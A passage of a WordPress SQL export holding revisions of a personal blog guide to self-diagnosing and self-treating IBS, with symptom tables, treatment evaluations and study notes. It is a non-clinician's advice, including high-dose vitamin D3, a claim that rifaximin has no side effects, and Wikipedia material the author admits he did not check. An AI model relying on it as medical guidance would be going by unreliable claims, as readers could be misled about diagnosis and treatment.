href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC6182669/#ref-2\">2</a>– <a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC6182669/#ref-5\">5</a>, and prevalence is higher in women <a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC6182669/#ref-2\">2</a>, <a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC6182669/#ref-3\">3</a>, teenagers, and patients in the third to fourth decade of life <a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC6182669/#ref-2\">2</a>, <a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC6182669/#ref-4\">4</a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Helicobacter pylori</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC3925853/\"><strong>A review of Helicobacter pylori diagnosis, treatment, and methods to detect eradication (nih.gov)</strong></a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>H. pylori</em> infection affects nearly half of the world’s population. In developing countries, the prevalence of infection is as high as 90%, whereas in developed countries, excluding Japan, the prevalence is below 40%</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Today, the involvement of H. pylori in active chronic gastritis, its association with gastroduodenal ulcer, and its well-accepted role as a risk factor for the development of gastric cancer are well documented[68].</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.cedars-sinai.org/health-library/diseases-and-conditions/g/gastritis.html\">Gastritis | Cedars-Sinai (cedars-sinai.org)</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Stomach upset or pain</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Belching and hiccups</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Belly (abdominal) bleeding</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Nausea and vomiting</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Feeling of fullness or burning in your stomach</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Loss of appetite</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Blood in your vomit or stool. This is a sign that your stomach lining may be bleeding.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2>Helpful info from Wikipedia that I didn’t feel like checking</h2>\n<!-- /wp:heading -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3>Causes</h3>\n<!-- /wp:heading -->\n\n<!-- wp:list -->\n<ul><li>Neurological/psychiatric: A study of 97,593 individuals with IBS identified comorbidities such as headache, fibromyalgia, and depression.<a href=\"https://en.wikipedia.org/wiki/Irritable_bowel_syndrome#cite_note-79\"><sup>[79]</sup></a> IBS occurs in 51% of people with chronic fatigue syndrome and 49% of people with fibromyalgia, and psychiatric disorders occur in 94% of people with IBS.<a href=\"https://en.wikipedia.org/wiki/Irritable_bowel_syndrome#cite_note-White2002-10\"><sup>[10]</sup></a></li><li><a href=\"https://en.wikipedia.org/wiki/Channelopathy\">Channelopathy</a> and <a href=\"https://en.wikipedia.org/wiki/Muscular_dystrophy\">muscular dystrophy</a>: IBS and functional GI diseases are comorbidities of genetic channelopathies that cause cardiac conduction defects and neuromuscular dysfunction, and result also in alterations in GI motility, secretion, and sensation.<a href=\"https://en.wikipedia.org/wiki/Irritable_bowel_syndrome#cite_note-BEYDER_2016-80\"><sup>[80]</sup></a> Similarly, IBS and FBD are highly prevalent in <a href=\"https://en.wikipedia.org/wiki/Myotonic_dystrophy\">myotonic muscle dystrophies</a>. Digestive symptoms may be the first sign of dystrophic disease and may precede the musculo-skeletal features by up to 10 years</li></ul>\n<!-- /wp:list -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3>Epidemiology</h3>\n<!-- /wp:heading -->\n\n<!-- wp:table -->\n<figure class=\"wp-block-table\"><table><tbody><tr><td>Canada</td><td>6%<a href=\"https://en.wikipedia.org/wiki/Irritable_bowel_syndrome#cite_note-BOIVIN_2001-150\"><sup>[150]</sup></a></td><td>Boivin, 2001</td><td></td></tr><tr><td>Japan</td><td>10%<a href=\"https://en.wikipedia.org/wiki/Irritable_bowel_syndrome#cite_note-QUIGLEY_2006-151\"><sup>[151]</sup></a></td><td>Quigley, 2006</td><td>Study measured prevalence of GI abdominal pain/cramping</td></tr><tr><td>United Kingdom</td><td>8.2%<a href=\"https://en.wikipedia.org/wiki/Irritable_bowel_syndrome#cite_note-EHLIN_2003-152\"><sup>[152]</sup></a>10.5%<a href=\"https://en.wikipedia.org/wiki/Irritable_bowel_syndrome#cite_note-WILSON_2004-153\"><sup>[153]</sup></a></td><td>Ehlin, 2003Wilson, 2004</td><td>Prevalence increased substantially 1970–2004</td></tr><tr><td>United States</td><td>14.1%<a href=\"https://en.wikipedia.org/wiki/Irritable_bowel_syndrome#cite_note-HUNGIN_2005-154\"><sup>[154]</sup></a></td><td>Hungin, 2005</td><td>Most undiagnosed</td></tr><tr><td>United States</td><td>15%<a href=\"https://en.wikipedia.org/wiki/Irritable_bowel_syndrome#cite_note-BOIVIN_2001-150\"><sup>[150]</sup></a></td><td>Boivin, 2001</td><td>Estimate</td></tr><tr><td>Pakistan</td><td>14%<a href=\"https://en.wikipedia.org/wiki/Irritable_bowel_syndrome#cite_note-JAFRI_2007-155\"><sup>[155]</sup></a></td><td>Jafri, 2007</td><td>Much more common in 16–30 age range. 56% male, 44% female</td></tr><tr><td>Pakistan</td><td>34%<a href=\"https://en.wikipedia.org/wiki/Irritable_bowel_syndrome#cite_note-JAFRI_2005-156\"><sup>[156]</sup></a></td><td>Jafri, 2005</td><td>College students</td></tr><tr><td>Mexico City</td><td>35%<a href=\"https://en.wikipedia.org/wiki/Irritable_bowel_syndrome#cite_note-SCHMULSON_2005-157\"><sup>[157]</sup></a></td><td>Schmulson, 2006</td><td>n=324. Also measured functional diarrhea and functional vomiting. High rates attributed to \"stress of living in a populated city.\"</td></tr><tr><td>Brazil</td><td>43%<a href=\"https://en.wikipedia.org/wiki/Irritable_bowel_syndrome#cite_note-QUIGLEY_2006-151\"><sup>[151]</sup></a></td><td>Quigley, 2006</td><td>Study measured prevalence of GI abdominal pain/cramping</td></tr><tr><td>Mexico</td><td>46%<a href=\"https://en.wikipedia.org/wiki/Irritable_bowel_syndrome#cite_note-QUIGLEY_2006-151\"><sup>[151]</sup></a></td><td>Quigley, 2006</td><td>Study measured prevalence of GI abdominal pain/cramping</td></tr></tbody></table></figure>\n<!-- /wp:table -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3><strong>Gender</strong></h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Women are around two to three times more likely to be diagnosed with IBS and four to five times more likely to seek specialty care for it than men.<a href=\"https://en.wikipedia.org/wiki/Irritable_bowel_syndrome#cite_note-158\"><sup>[158</sup></a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Studies of females with IBS show symptom severity often fluctuates with the menstrual cycle, suggesting hormonal differences may play a role.<a href=\"https://en.wikipedia.org/wiki/Irritable_bowel_syndrome#cite_note-159\"><sup>[159]</sup></a></p>\n<!-- /wp:paragraph -->','A complete guide to self-diagnosing and self-treating IBS','','inherit','closed','closed','','58-revision-v1','','','2021-04-16 18:26:37','2021-04-16 18:26:37','',58,'https://trevorklee.com/?p=65',0,'revision','',0),
(67,1,'2021-04-18 16:47:22','2021-04-18 16:47:22','<!-- wp:simpletoc/toc {\"max_level\":3} /-->\n\n<!-- wp:heading -->\n<h2>Introduction</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>I went through my own bout with IBS some years ago. It was really frustrating. It seemed to come out of nowhere. I spent a lot of money on a test for SIBO to see if that was the problem, but didn’t see any results. Then, it briefly seemed like I was cured, only to randomly become sensitive to gluten for a year.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Dealing with IBS was especially frustrating because of the unhelpful advice from doctors, family, and friends. Doctors would tell me it was all in my head. My family thought I had Crohn\'s. My friends just would get weirded out by the things I refused to eat, and try to nag me into trying just one muffin/beer/hot wing.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>A few years ago, my IBS disappeared as suddenly as it came. Now, I’m mostly ok. But I still remember how frustrating and life-impairing IBS was.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This article is what I wish I had back when I first got IBS. It’s not just another blog spam on the front page of Google, with the 5 things that literally every other blog spam tells you about IBS.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>It’s a comprehensive guide to making sure you have IBS and not another disease, and then treating IBS. And I mean comprehensive. If I missed anything, tell me!</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>At the end of the article, I list all my sources (and there are a lot!) and what I took from them. I also include my evaluation of the treatment options, as I know that can be an especially challenging thing for IBS patients to do.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>If you’re pressed for time, just scroll down and look at the tables. If you’re not, feel free to read everything.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2>How can you be sure you have IBS?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>IBS is a diagnosis of exclusion. If you don’t have other conditions that can also cause stomach problems, then you probably have IBS.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Most doctors skip straight to diagnosing IBS without thoroughly checking whether you might have these other conditions. That’s unfortunate, because, unlike IBS, some of these other conditions actually have cures. If you’re diagnosed correctly, your IBS could be solved a lot quicker.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Also, some of these conditions are much more serious than IBS. So, you definitely want to make sure you don’t have these other conditions, because, if you do, you’ll need to start treating them ASAP.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Here’s a pretty exhaustive list of conditions that mimic IBS. Each row is a separate condition. Use it to potentially diagnose yourself. You’ll need laboratory tests to confirm whether you’re correct, but at least you’ll be able to advocate for yourself at the doctor’s office.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Note that the more of these conditions that you have, the more likely the diagnosis is. So, if you take the first example, an obese smoker on prednisone with constipation is more likely to have diverticulitis than a skinny non-smoker with diarrhea.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Also, please note that I’ve <em>italicized</em> the most important parts of a diagnosis. For example, unexplained weight loss is a pretty big warning sign for colon cancer and Chron’s. If you just have diarrhea and don’t have unexplained weight loss, neither colon cancer or Crohn\'s are likely (but they’re still possible).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3>IBS Diagnosis Table</h3>\n<!-- /wp:heading -->\n\n<!-- wp:table {\"className\":\"is-style-stripes\"} -->\n<figure class=\"wp-block-table is-style-stripes\"><table><tbody><tr><td><strong>If you have</strong></td><td><strong>Or if you are</strong></td><td><strong>Then you might have</strong></td></tr><tr><td>Bloating OR constipation OR diarrhea OR <em>bright blood in your stool</em></td><td>Obese OR a smoker OR a user of anti-inflammatories/steroids</td><td>Diverticulitis</td></tr><tr><td>Constipation OR diarrhea OR <em>unexplained weight loss</em> OR fatigue</td><td><em>Over the age of 45 (especially over the age of 65)</em> OR <em>have a history of cancer</em></td><td>Colon cancer</td></tr><tr><td><em>Bloody diarrhea</em>&nbsp;</td><td></td><td>Ulcerative colitis</td></tr><tr><td>Diarrhea OR unexplained anemia OR <em>fever</em> OR <em>unexplained weight loss</em> OR growth retardation</td><td></td><td>Crohn\'s disease</td></tr><tr><td>Joint pain OR <em>cold intolerance</em> OR constipationOR depression OR heavy menstrual flow OR unexplained weight gain or <em>fatigue </em>OR hair loss</td><td><em>Female</em></td><td>Hypothyroidism</td></tr><tr><td>Diarrhea AND nausea OR vomiting OR weight loss</td><td><em>In an area with poor water quality or food hygiene standards</em></td><td>Giardia</td></tr><tr><td>Abdominal bloating OR gas OR&nbsp; distension OR diarrhea</td><td><em>A user of proton pump inhibitors (e.g. Prilosec) </em>OR <em>opioids</em> OR <em>gastric bypass</em> OR <em>colectomy</em></td><td>Small intestinal bacterial overgrowth (SIBO)</td></tr><tr><td>Diarrhea OR bloating OR fatigue OR anemia OR <em>unexplained blisters (dermatitis herpetiformis)</em></td><td><em>Type 1 diabetic</em></td><td>Celiac disease</td></tr><tr><td><em>Diarrhea</em></td><td></td><td>Bile acid malabsorption</td></tr><tr><td><em>Constipation</em></td><td><em>Over 65 </em>OR <em>African American</em> OR <em>pregnant/a mother</em></td><td>Dyssnergic defecation</td></tr><tr><td>Abdominal pain and bloating OR gas OR watery stool <em>following the ingestion of foods containing lactose</em></td><td>Black, Latino, or <em>Asian</em></td><td>Lactose intolerance</td></tr><tr><td>Diarrhea OR constipation OR brain fog OR joint/muscle pain, OR skin rash/dermatitis</td><td>Female OR in the third to fourth decade of life</td><td>Non celiac gluten sensitivity</td></tr><tr><td>Nausea and vomiting OR <em>feeling of fullness or burning in your stomach</em> OR blood in your vomit or stool.<br></td><td><em>In an area with poor water quality or food hygiene standards</em></td><td>H. pylori</td></tr><tr><td>Constipation OR diarrhea OR nausea OR <em>a feeling of early fullness</em></td><td></td><td>A motility disorder, like slow transit constipation</td></tr><tr><td></td><td></td><td></td></tr><tr><td>**RARE CONDITIONS FOLLOW BELOW (you probably don’t have these)**</td></tr><tr><td><em>Constipation since early childhood</em></td><td></td><td>Hirschsprung\'s disease</td></tr><tr><td>Chronic or intermittent watery diarrhea OR unexplained weight loss, OR joint pain<br></td><td>Over 65 OR female</td><td>Microscopic colitis</td></tr><tr><td><em>Flushing</em> OR diarrhea OR <em>shortness of breath</em> OR <em>palpitation</em></td><td></td><td>Carcinoid syndrome (part of carcinoid tumors)</td></tr><tr><td>Nausea OR vomiting, OR diarrhea OR anemia OR weight loss</td><td></td><td>Eosinophilic gastroenteritis</td></tr></tbody></table></figure>\n<!-- /wp:table -->\n\n<!-- wp:heading -->\n<h2>Steps to treat IBS</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>If you’ve made it through the whole list above and none of those apply to you, you probably just have IBS.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>It’s more likely you have IBS if you have a history of anxiety or depression, are female, or especially if you’ve <em>recently had a stomach bug</em>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Now you’re looking for treatment. Good on you! My recommendations are to start with a food restriction diet. Take away everything but chicken and rice, then slowly add the rest back in.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>If you have diarrhea, you might try a low FODMAP diet, eating small, regular portions, and/or limiting gassy foods like beans, cabbages, and onions.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>If you have constipation, you might try psyllium or linseed.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>If you want to try medication, I’d recommend very high doses of cholecalciferol (Vitamin D3), like 50k IU every 2 weeks. You might also try peppermint oil for short term diarrhea relief.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>That’s my short list. For my long list, including evaluation and limitations of treatments, read on!</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3>IBS Treatment Table</h3>\n<!-- /wp:heading -->\n\n<!-- wp:table -->\n<figure class=\"wp-block-table\"><table><tbody><tr><td><strong>Potential IBS treatment</strong></td><td><strong>Evaluation</strong></td><td><strong>Limitations</strong></td></tr><tr><td>Low FODMAP</td><td>Low FODMAP diets seem to work. It doesn’t necessarily work better than just eating normal portions at regular times and reducing fat, insoluble fibers, caffeine, beans, cabbages, and onions. It works better if you have diarrhea.</td><td>The studies are only 1-3 months. It’s not clear what happens if you resume a normal diet after that time span.<br>The studies aren’t very well designed.</td></tr><tr><td>Gluten free diet (for non celiac)</td><td>It can work, but there’s not a big effect.</td><td>It only works for people who are sensitive to gluten (it’s not for anyone with IBS).</td></tr><tr><td>Fiber</td><td>Bran and insoluble fiber are probably not effective in any form of IBS.<br>Ispaghula (psyllium) and linseed, which are soluble fibers, are probably effective in all forms of IBS. Linseed seems like it’s probably better than psyllium.&nbsp;</td><td>All studies were done over a max of 1-3 months.<br>The studies aren’t very well designed.</td></tr><tr><td>Laxatives</td><td>Laxatives work.</td><td>They may not prevent constipation, especially in older patients</td></tr><tr><td>Anti spasmodics (dicyclomine, peppermint oil, pinaverium, trimebutine)</td><td>They have ok effects for abdominal pain and bigger effects for overall symptom scores.&nbsp;</td><td></td></tr><tr><td>Discontinuation of proton pump inhibitors</td><td>Not really a cure for IBS, but PPI overuse does lead to SIBO.</td><td></td></tr><tr><td>Antidepressants</td><td>Antidepressants probably work if your IBS is caused by depression or anxiety. It’s unclear whether they work if you don’t.</td><td>Antidepressants aren’t more effective in IBS than therapy.<br>It’s unclear if the type of antidepressant matters, but it most likely varies from person to person.</td></tr><tr><td>Rifaximin</td><td>Rifaximin can definitely benefit IBS-D, and may help IBS-C. It doesn’t seem to have any side effects.</td><td></td></tr><tr><td>Vitamin D3</td><td>Very high doses of vitamin D every 2 weeks (50,000 IU) probably improve IBS symptoms.</td><td>Taking really high doses of vitamin D can cause side effects. If you get side effects, stop taking vitamin D.</td></tr><tr><td>Soy isoflavones</td><td>Soy isoflavones may improve IBS in women.&nbsp;</td><td>There aren’t really good studies in men. There are no good long term studies either.</td></tr><tr><td>Acupuncture</td><td>Real acupuncture works just as well as fake acupuncture (having someone pretend to stick needles in you). Both work ok.</td><td></td></tr><tr><td>Probiotics</td><td>Probiotics may have a small effect.</td><td>The type of bacteria in the probiotic and the formulation matters a lot, as a lot of probiotics are useless or destroyed in the stomach.</td></tr><tr><td>Mesalazine</td><td>Mesalazine is probably not effective in IBS.</td><td></td></tr><tr><td>Loperamide</td><td>Loperamide is helpful for diarrhea and diarrhea-related symptoms.</td><td>There aren\'t great long-term studies. It may make pain at night worse.</td></tr></tbody></table></figure>\n<!-- /wp:table -->\n\n<!-- wp:heading -->\n<h2>Evidence</h2>\n<!-- /wp:heading -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3>How I evaluated the evidence</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Evaluating evidence is hard in general, and evaluating evidence in IBS is no exception.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I’ll list out those problems, then list how I tried to solve them.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>First, there are specific IBS issues.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>IBS has a variety of symptoms associated with it, and a treatment that fixes diarrhea will not necessarily fix constipation. This makes treatments difficult to measure in effectiveness. Some scientists try to make up for this by asking patients questions like, “Is your pain reduced?” or “Are you happy with your bowel movements?”, but those can be biased by treatments that treat only pain or depression without affecting IBS-specific symptoms.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>To solve this, I tried to tease out the various effects that treatments had on different symptoms of IBS when I could. I paid especially close attention to questions that could be biased, which was a particular issue in antidepressants, as those will obviously make people happier with any treatment.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>IBS is also, obviously, really hard to diagnose. One study found that 30% of people with IBS-D actually have bile acid malabsorption. If that’s true, then 30% of the people in any IBS-D study don’t have IBS. What exactly does the study measure, then?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I didn’t have a good way of solving this, so I just hoped for the best.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>IBS studies are also often reliant on patient compliance, especially when testing dietary interventions like low FODMAP. This is...not great. <a href=\"https://journals.lww.com/ajg/Fulltext/2014/10002/Diet_Compliance_and_Its_Measurement_in_a_Clinical.1734.aspx\">This IBD study</a> found only 55% diet compliance (i.e. patients ate different food than prescribed almost half of the time). From my own experience, I had a girlfriend who did weight loss studies. Even when the study gave her food to take home, she would throw it out and just eat her own food because it tasted better. Needless to say, she did not tell the clinicians this.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I tried to solve this by avoiding studies that were reliant on patient compliance and self-reporting. If I couldn’t avoid the studies, I relied on them less for my recommendations.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So, those are some IBS specific issues. Let’s talk about issues in general.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The gold standard for a trial is placebo-controlled, double-blind and randomized. Placebo-controlled means that half the people get a fake treatment, so the experimenters can weed out any people who would have gotten better regardless of if they got the control.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Double blind means that neither the patient nor the experimenters know whether they are getting a real treatment, so nobody can cheat on their measurements or reports if they have a belief one way or another. Last, randomized means people get randomly assigned to placebo or treatment, so we end up with the same sorts of people in both groups.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Reaching that gold standard is easier in some trials than in others. If we’re testing a treatment like gluten, it’s actually surprisingly easy if the experimenters are up for it. They just give every group a pill, and sometimes the pill contains wheat flour, sometimes rice flour. The experimenters don’t know which pills are which until all the measurements are done.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>However, if we’re testing a treatment like low FODMAP, it’s impossible. Everyone knows which diet is the low FODMAP diet. There’s no faking it for either side. So, if a patient really believes low FODMAP will work for them, they might be a little more lax with their reports, (if they’re between a 1 and 2 on a scale, they might choose 2 more often than 1). An experimenter might do the same.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I tried to notice when studies were falling away from the gold standard, but I don’t want to just throw away all studies that don’t reach that standard. Then I’d have to throw away a lot of potential useful treatments. Instead, I weighted my judgments accordingly.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Once I was sure studies were performed well, I looked for consistently positive results. Any study can have a positive result once, especially if it’s a small study, in the same way that it’s easy to flip a coin 3 times and get all heads. But consistently getting heads when you flip a coin 100 times is a different story, and suggests there’s actually something there.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I also looked for consistent results across measures. A treatment should improve IBS severity, overall satisfaction, and symptoms. If it only improves one measure, it suggests that measure might have been a fluke.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I also looked for big results in the form of big effect sizes vs. placebo. When there are treatments that can almost quadruple the effects of placebo like vitamin D, small effects like mesalazine which might work ok for some people didn’t cut it.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Last, I combined all these together and got my evaluations.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3>How I came up with my recommendations</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Some technical notes on how to read these.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>RR, which is relative risk, is basically the number with the bad outcome over the number with the good outcome. So, the smaller RR is, the better.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>CI, which is confidence interval, just accounts for error in the measurement. In the first study below, the RR is estimated to be 0.69, but it might be between 0.54 and 0.88.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I2 (which should really be I<sup>2</sup>) is a measure of “heterogeneity”, or how different the various effects are. The closer I2 gets to 100%, the greater the differences between studies (which makes you start to wonder why they’re so different).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>N, like n=39, is just how many patients there were in a specific group.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The P value, like P=0.62, is the likelihood that a difference found between treatments or conditions is a fluke. By convention, we use P&lt;0.05 to mean significant, as in there’s a less than 5% chance that the difference is a fluke.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>[Note for statistics nerds: all the definitions above are rough definitions for a lay audience. If you know the definition better than that, then good on you! Please don’t send me angry messages over it.]</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>My notes on each study are in <em>italics.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>FODMAP</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Low FODMAP diets seem to work, but the studies aren’t very good. It doesn’t necessarily work better than just eating regularly and reducing fat, insoluble fibers, caffeine, beans, cabbages, and onions. It works better if you have diarrhea.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>All studies were done over 1-3 months.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://eprints.whiterose.ac.uk/134755/\">A Systematic Review and Meta-Analysis Evaluating the Efficacy of a Gluten-Free Diet and a Low FODMAPs Diet in Treating Symptoms of Irritable Bowel Syndrome - White Rose Research Online</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>This is a meta-study for both gluten-free diet and low FODMAP. I used it to guide my thinking, but also looked at the studies myself.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>&nbsp;There were seven RCTs comparing a low FODMAP diet with various control interventions in 397 participants. A low FODMAP diet was associated with reduced global symptoms compared with control interventions (RR = 0.69; 95% CI 0.54 to 0.88; I2= 25%). The three RCTS that compared low FODMAP diet with rigorous control diets had the least heterogeneity between studies, but also the least magnitude of effect.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.sciencedirect.com/science/article/abs/pii/S0016508515010860\">Diet Low in FODMAPs Reduces Symptoms of Irritable Bowel Syndrome as Well as Traditional Dietary Advice: A Randomized Controlled Trial - ScienceDirect</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>Note that this study is relying on food diaries. This is an ok solution to problems of non compliance, but it’s not great, as people can still lie or misremember. Keeping a food diet for 4 weeks is hard! Also, there’s definitely an overlap between the low FODMAP diet and the normal diet. There’s also no placebo group.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Subjects were randomly assigned to groups that ate specific diets for 4 weeks—a diet low in FODMAPs (n = 38) or a diet frequently recommended for patients with IBS (ie, a regular meal pattern; avoidance of large meals; and reduced intake of fat, insoluble fibers, caffeine, and gas-producing foods, such as beans, cabbage, and onions), with greater emphasis on how and when to eat rather than on what foods to ingest (n = 37).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>A total of 67 patients completed the dietary intervention (33 completed the diet low in FODMAPs, 34 completed the traditional IBS diet). The severity of IBS symptoms was reduced in both groups during the intervention (<em>P</em> &lt; .0001 in both groups before vs at the end of the 4-week diet), without a significant difference between the groups (<em>P</em> = .62). At the end of the 4-week diet period, 19 patients (50%) in the low-FODMAP group had reductions in IBS severity scores ≥50 compared with baseline vs 17 patients (46%) in the traditional IBS diet group (<em>P</em> = .72).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://gut.bmj.com/content/66/7/1241.short\">FODMAPs alter symptoms and the metabolome of patients with IBS: a randomised controlled trial | Gut (bmj.com)</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>This study is looking directly at the metabolome, which is interesting, and should be more reliable than food diaries. The metabolome does seem to change a lot, which is interesting, but it’s weird to look at urine for the metabolome. Urine is not what would normally be affected by a change in diet.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>&nbsp;We performed a controlled, single blind study of patients with IBS (Rome III criteria) randomised to a low (n=20) or high (n=20) FODMAP diet for 3 weeks.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Thirty-seven patients (19 low FODMAP; 18 high FODMAP) completed the 3-week diet. The IBS-SSS was reduced in the low FODMAP diet group (p&lt;0.001) but not the high FODMAP group. LBTs showed a minor decrease in H2 production in the low FODMAP compared with the high FODMAP group. Metabolic profiling of urine showed groups of patients with IBS differed significantly after the diet (p&lt;0.01), with three metabolites (histamine, p-hydroxybenzoic acid, azelaic acid) being primarily responsible for discrimination between the two groups. Histamine, a measure of immune activation, was reduced eightfold in the low FODMAP group (p&lt;0.05).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.sciencedirect.com/science/article/abs/pii/S0016508513014078\">A Diet Low in FODMAPs Reduces Symptoms of Irritable Bowel Syndrome - ScienceDirect</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>This is a pretty good study. They provided food and they collected stool instead of urine or self-report. Again, there’s no placebo control, so that’s a problem, but this is probably as good as you’re going to get with a low FODMAP diet. I wish they had more people and over a longer term.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In a study of 30 patients with IBS and 8 healthy individuals (controls, matched for demographics and diet), we collected dietary data from subjects for 1 habitual week. Participants then randomly were assigned to groups that received 21 days of either a diet low in FODMAPs or a typical Australian diet, followed by a washout period of at least 21 days, before crossing over to the alternate diet. Daily symptoms were rated using a 0- to 100-mm <a href=\"https://www.sciencedirect.com/topics/medicine-and-dentistry/visual-analog-scale\">visual analogue scale</a>. Almost all food was provided during the interventional diet periods, with a goal of less than 0.5 g intake of FODMAPs per meal for the <a 